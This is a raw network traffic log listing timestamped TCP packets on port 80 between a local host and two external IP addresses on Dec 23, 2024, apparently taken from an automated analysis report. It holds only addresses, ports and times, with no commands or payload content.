Dec 23, 2024 08:08:04.975481033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.975492954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.975516081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.976552963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.976594925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.976622105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.976633072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.976664066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.977368116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.977431059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.977442026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.977461100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.978503942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.978595018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.978605986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.978616953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.978660107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.979327917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.979393005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.979404926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.979451895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.980278015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.980336905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.980338097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.980349064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.980393887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.981241941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.981316090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.981328011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.981367111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.031691074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.031769037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.031780958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.031817913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.032052040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.032089949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.032118082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.032130957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.032186031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.033004999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.033071995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.033204079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.033432961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.033515930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.033529043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.033554077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.034416914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.034461975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.034472942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.034485102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.034527063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.035381079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.035465956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.035478115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.035515070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.036403894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.036444902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.036453962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.036456108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.036500931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.037328959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.037394047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.037744045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.091983080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092041016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092051983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092099905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.092428923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092466116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.092493057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092504978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.092551947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.093395948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.093550920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.093590975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.093991041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.094075918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.094088078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.094127893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.094938040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.094999075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.095026970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.095040083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.095081091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.095935106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.096015930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.096028090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.096071005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.096904039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.096978903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.096992016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.097018003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.097064018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.097815037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.146291018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.153201103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153367043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153379917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153440952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.153738976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153821945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153832912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.153839111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.153877020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.154697895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.155201912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.155256987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.155266047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.155277014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.155319929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.155921936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156029940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156042099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156068087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.156846046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156898022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.156900883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156913996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.156951904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.157819033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.157877922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.157890081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.157918930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.158791065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.158843994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.158876896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.158889055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.158924103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.159768105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.159816980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.159830093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.159871101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.160744905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.160799026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.160808086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.160818100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.160851955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.161709070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.161802053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.161813021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.161847115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.162678003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.162731886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.162750006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.162765026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.162798882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.163634062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.163722992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.163734913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.163781881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.164649963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.164707899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.164733887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.164747000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.164787054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.165600061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.165676117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.165687084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.165728092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.166568995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.166615963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.166646004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.166656971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.166698933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.167557001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.167610884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.167623997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.167665958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.168504953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.168551922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.168581963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.168593884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.169354916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.169475079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.169543028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.169554949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.169589996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.170473099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.170519114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.170536995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.170548916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.170591116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.171447039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.171525955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.171544075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.171583891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.172400951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.172447920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.172477961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.172491074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.172533035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.173388004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.173438072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.173450947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.173485041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.224095106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224136114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224157095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224157095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.224204063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.224483013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224559069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224570990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.224592924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.225539923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.225552082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.225564957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.225578070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.225600004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.226421118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.226500988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.226514101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.226547003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.227401972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.227447033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.227468967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.227479935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.227509022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.228363037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.228441000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.228451014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.228487968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.229346037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.229413986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.229444027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.271292925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.283996105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.284066916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.284112930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.284166098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.284264088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.284276009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.284316063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.285142899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.285180092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.285192013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.285203934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.285253048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.285923004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.285965919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.285984039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.286014080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.286863089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.286936045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.286940098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.286952972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.286997080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.287839890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.287904024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.287916899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.287951946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.288780928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.288872957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.288886070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.288928986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.289778948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.289844990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.289920092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.345426083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345458984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345469952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345515966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.345875025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345916033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.345942974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345952988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.345994949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.346858978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.347217083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.347264051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.347289085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.347300053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.347328901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.347963095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.347975969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.348014116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.348165989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.348845005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.348884106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.348912954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.349200964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.349250078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.349273920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.349286079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.349325895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.350188017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.350265980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.350276947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.350317955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.351155043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.351218939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.351219893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.351229906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.351334095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.352128983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.352202892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.352216005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.352250099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.353064060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.353151083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.353162050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.353199005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.354049921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.354129076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.354140997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.354173899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.355029106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.355096102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.355108023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.355123043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.355159998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.356015921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.356142044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.356158018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.356178999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.356976986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.357049942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.357064962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.357081890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.357374907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.357944965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.358015060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.358027935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.358059883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.358913898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.358961105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.359000921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.359013081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:05.359050035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:05.570676088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:07.732036114 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:07.851665974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 23, 2024 08:08:07.851761103 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:07.851963043 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:07.971394062 CET	80	49745	185.215.113.206	192.168.2.4
Dec 23, 2024 08:08:09.194911003 CET	80	49745	185.215.113.206	192.168.2.4
Dec 23, 2024 08:08:09.194967031 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:09.198618889 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:09.318104029 CET	80	49745	185.215.113.206	192.168.2.4
Dec 23, 2024 08:08:09.660243034 CET	80	49745	185.215.113.206	192.168.2.4
